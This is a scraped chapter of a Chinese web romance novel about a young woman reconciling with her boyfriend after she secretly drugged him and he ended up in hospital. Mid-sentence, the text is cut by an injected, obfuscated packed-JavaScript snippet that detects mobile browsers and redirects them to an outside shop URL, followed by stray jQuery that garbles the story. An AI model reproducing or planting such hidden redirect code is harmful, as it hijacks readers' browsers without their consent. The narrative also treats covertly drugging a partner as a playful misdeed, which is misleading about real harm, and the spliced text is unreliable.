123读书网 > 玄幻小说 > 甜雀雀 > 8. 第 8 章
    接到闻听肆的电话时,沈雀还在梦里,她在枕头旁摸索着吵闹的手机,半睁着一只眼看了眼来电,而后立马清醒了过来。


    “喂?”


    毕竟刚做过坏事,沈雀接的还是有点心虚。


    闻听肆嗯了声,他的声音听上去比平时虚弱很多,沈雀本就愧疚,这下更是不知道该怎么表达,半咬着唇跟他道歉:“对不起,我没想到…那个会这么严重。”


    闻听肆半躺着,门口的透明玻璃上,他妈正在探头探脑,他唇角弯了弯,接受了她这道歉:“为什么要这么做,沈雀,你有事瞒着我?”


    明明他说话的语气也没有很强势,可沈雀依旧被问得捏住了嗓子一般,半晌都没能开口。


    闻听肆没放过她:“说不出来?那总会做,打算什么时候来看我?”


    “……”


    接二连三的问题砸的沈雀晕头转向。


    她也喝了点,只是喝得不多,但折腾了一晚上,身体总还是有些不舒服的,哼唧了声:“你…你不是有人照顾吗。”


    “嗯。”闻听肆很理所当然,“那你不能来吗,还是说…你的药效还没过去?”


    说起那药效,沈雀又不免得想到昨晚在浴缸里发生的事,女孩的脸一瞬就红得像那熟透了的苹果,嗫嚅道:“闻听肆,你你,你是不是耍流氓啊。”


    哪怕没有看到,闻听肆也能想象得到沈雀此刻的害羞以及那一脸娇俏的模样,他轻声笑了笑:“雀雀,过来吧,我让陈乐去接你。”


    “不行。”沈雀没忘了陈乐说的,他爸妈在医院,那要是撞见了该怎么解释,他不要脸自己还要面子呢,察觉到闻听肆的沉默,她又哄他,“等你出院了,一样的嘛。”


    “为什么不行。”


    沈雀难以启齿,执拗着说:“就是不行。”


    闻听肆胸脯起伏,又问了一遍:“确定?”


    沈雀顶着压力,再次点了点头,嗯了声,闻听肆把电话挂了。


    …


    两人闹得不欢而散。


    一连好几天,沈雀都没有收到闻听肆发来的信息,她也没有主动发,像是无声结束了这段关系。


    沈雀偶尔想想,觉得这样也挺好的。


    提前结束关系,这样她也就不用纠结毕业的时候该怎么跟他开口。


    比闻听肆先来的是方晴,她们的宿舍在同一层,跟了宋承昀之后,她就搬出去住了,只有在有课的时候会出现在教学楼里,宿舍基本上没来过。


    她推门进来时,沈雀的舍友还有些惊讶:“哟,稀客呀,你怎么来宿舍了。”


    方晴笑笑:“我来找沈雀有点事。”


    说着,她将随手带来的零食袋递给舍友:“带了点吃的,你们分一下吧。”


    舍友拿过零食袋一看,基本上都是一些进口,她们平日里舍不得买的,她们眼睛放光:“方晴,你是不是赚了很多钱啊,这些零食都很贵的,不行不行,你还是留着自己吃吧,这有点太贵了。”


    “没多少钱,放心吃吧,我家里还有呢。”


    当初方晴搬出去时,用的就是自己想搬出去创业的借口,所以她每次光鲜亮丽的回来,旁人都只当她是创业成功赚了钱,没往其他方面想过。


    眼馋的几人还想找方晴取下生意经。


    方晴眼里只有那萎靡不振的沈雀,她将人拉了出去,来到一个没人的小花园里,问她:“你什么情况?”


    沈雀啊了声:“什么什么情况,没什么呀。”


    方晴眼里有一丝焦急,左右看了眼,没人,才低声道:“你回学校是不是没跟闻听肆说,这几天是不是也没回他消息?”


    沈雀视线总算聚了焦,转头看她:“什么意思?”


    “还真是啊。”一看她这反应,方晴就知道自己猜对了,“你不知道这几天,闻听肆脾气好大,谁跟他说话都要被骂两句,而且,他不知道怎么查到你那药是我给的,把宋承昀叫过去了一趟。”


    “…啊?”沈雀有些怜爱地看着她,“那你没事吧?”


    “我没事。”方晴撇了撇嘴,“但宋承昀有事,我瞒着他做的这事,但他猜也能猜到闻听肆不会查错人,在那咬死不认,挨了几拳才回来的。”


    “……”


    “宋承昀让我跟你说,趁着闻听肆现在还理智,赶紧去哄人。”方晴道,“不然拖得越久,还不知道闻听肆会发什么疯。”


    沈雀:“……”


    这是不是有点夸张了,她感觉闻听肆还挺冷静的啊,也没有来找她。


    正说着,手机来了电话,是陈乐打过来的,难得,他这次的语气很是毕恭毕敬:“沈小姐,您在学校吗,我在大门口,能不能拜托您去一趟别墅。”


    沈雀愈发的疑惑,挠了挠眉头:“行。”


    …


    再次来到别墅门口,沈雀的心情很复杂,她还以为两人就这么断了呢,没想到又被请了回来。


    见她站在门口没动,陈乐心里比谁都急:“沈小姐,不进去吗?”


    “噢噢…进。”


    在门开之前,陈乐忽然又叫住了她。


    沈雀回头,不明所以:“怎么了?”


    陈乐给她鞠了个躬,又很是认真地道了歉:“沈小姐,我对我上次说的话感到很抱歉,还希望您大人不记小人过,能原谅我一次。”


    沈雀吓了一跳,知道他说的话指的是什么。


    她虽然很在意,可陈乐也没说错,摇了摇头:“没事,你也没说错。”


    陈乐反应很大,惊慌失措:“不,我说错了,我错的很离谱!


    沈雀:“……”


    她有点害怕,连忙推门进去了。


    还站在门外的陈乐简直是欲哭无泪,就因为自己嘴贱,说了那么两句话,一个月的全勤没了,他兢兢业业,每天起早贪黑的全勤啊,就这么没了。


    要是时光能再倒流一会,他绝不这么多嘴了。


    正这么想着,闻夫人的电话打了过来。


    肯定又是来问有关沈雀的消息的,有过闻听肆的提前警告,他这次就是被打死也不能透露一点。


    推开门,别墅静悄悄的,一楼没人。


    沈雀看向二楼,在卧室和书房之间选择了书房,书房隔音效果好,沈雀象征性地敲了两下,就推开门走了进去。


    闻听肆不悦皱眉,抬眼,呼之欲出的滚出去三个字在嘴里囫囵了一圈,他收回视线,继续看向电脑屏幕,当作没看见来人。


    沈雀撇了撇嘴,小步子迈过去。


    刚走近,闻听肆忽而关了电脑屏幕,站起来,去了书架面前挑书,对她的存在仍旧视若无睹。


    沈雀知道他有气,几天没见,也确实有一丢丢想他,此刻有着十成的力气去哄他,盯着他垂在腿侧的手,牵了上去:“闻听肆,我回来了。”


    闻听肆愣了一下,用了些力,就轻易挣开,他轻轻蹙了下眉头,寻思刚刚是不是用的太大力,怎么这么容易就挣脱了,下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126155|196087||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一秒,沈雀整个人熊抱一样,扑在他了身上:“闻听肆,你别不理我嘛。”


    “……”


    闻听肆深呼吸,决心这次怎么也要给她一个教训,而后狠心推开了她,垂眸看她,没什么情绪:“在学校待得好好的,过来干什么?”


    沈雀眨了眨眼睛:“来哄你。”


    闻听肆冷哼一声,越过她继续去书架上找书:“真要上心,早就来了,等到黄花菜都凉了,还有什么用?”


    “那你不是在医院嘛。”沈雀挠挠头,又开始编瞎话,“我笨手笨脚的,怕过去给你添麻烦。”


    闻听肆:“谁接你过来的,就让谁送你回去。”


    “真的这么生气啊?”沈雀绕到他身前,与他面对面,抬头看他。


    闻听肆静默不语。


    沈雀踮脚,双手挽住他脖子,将他轻轻往下压了压,嘴唇亲了过去,含糊说着:“别生气了,我知道错了。”


    闻听肆还保持着一只手抬起,在书架上找书的姿势,垂在腿侧的另一只手,在沈雀笨拙的亲吻下,攥紧成拳。


    他视线下移,终于舍得看她的正脸。


    女孩闭着眼睛,眼皮轻颤,白皙的皮肤上透着害羞的粉,他喉结滚动。


    终于装不下去。


    垂在腿侧的手抬起,一把掐住了她的腰。


    稍一挺身,就将人压在了身后的书架上,沈雀来不及惊呼,就被狂风席卷般的亲吻夺去了思考能力。


    在这一方面,女人永远比不过男人的体力。


    明明主动的是沈雀,最后想缴械投降的也是沈雀,她被人压进密不透风的怀里,舌尖被吸吮得发麻,脑子晕乎乎地,也不敢轻易叫停。


    直到闻听肆一把将她打横抱起,放在榻上,还要继续时,沈雀连忙激动地拍了拍他的肩膀,眼睛亮晶晶的:“闻听肆,你消气了吗?”


    怀里的女孩,唇瓣被亲得周围一圈都红了,肿了,艳丽得如同血色一般,与她那清纯的眼眸放在一处,实在有些违和。


    闻听肆默了默,忽而偏过头,轻笑了一声。


    瞧着他这模样,沈雀也笑了笑:“你不生气啦?”


    闻听肆又惊觉自己太好哄,这样她依旧会不长记性,收敛了笑意,故意板着脸,抱着她一起坐了起来:“说说,哪里做错了。”


    “……”


    沈雀坐在他腿上,愁眉苦脸。


    细数自己犯下的一二件错事:“不应该给你…下药。”


    闻听肆听到这个就有点脸黑,他平日里虽说工作忙,但也会适当的健身,几年去不了一次医院,他妈在医院照顾的那两天,反反复复地问他怎么突然就发烧这么严重。


    闻听肆用着凉、洗冷水澡都糊弄不过去,闻夫人问他,是不是那方面太折腾了,让他心疼点他的女朋友,又骂他不知轻重,活该女朋友不肯来医院照顾他。


    闻听肆冷笑,只觉得自己像吃了黄莲一样,有苦说不出。


    沈雀看着他还算镇定的神色,又继续说:“不该…不该…,没了吧?”


    闻听肆勾了勾唇,大掌掐住了她盈盈一握的细腰:“你确定?”


    沈雀吞了吞口水,现在一听到这个确定的质问词,就很心慌,但还是小声为自己反驳:“我觉得没了。”


    闻听肆轻轻捏着她下巴,两人目光相接,他说:“沈雀,你最大的错就是没有自知之明。”


    沈雀心跳陡然掉了一拍,瞳仁震颤,脸上血色尽失。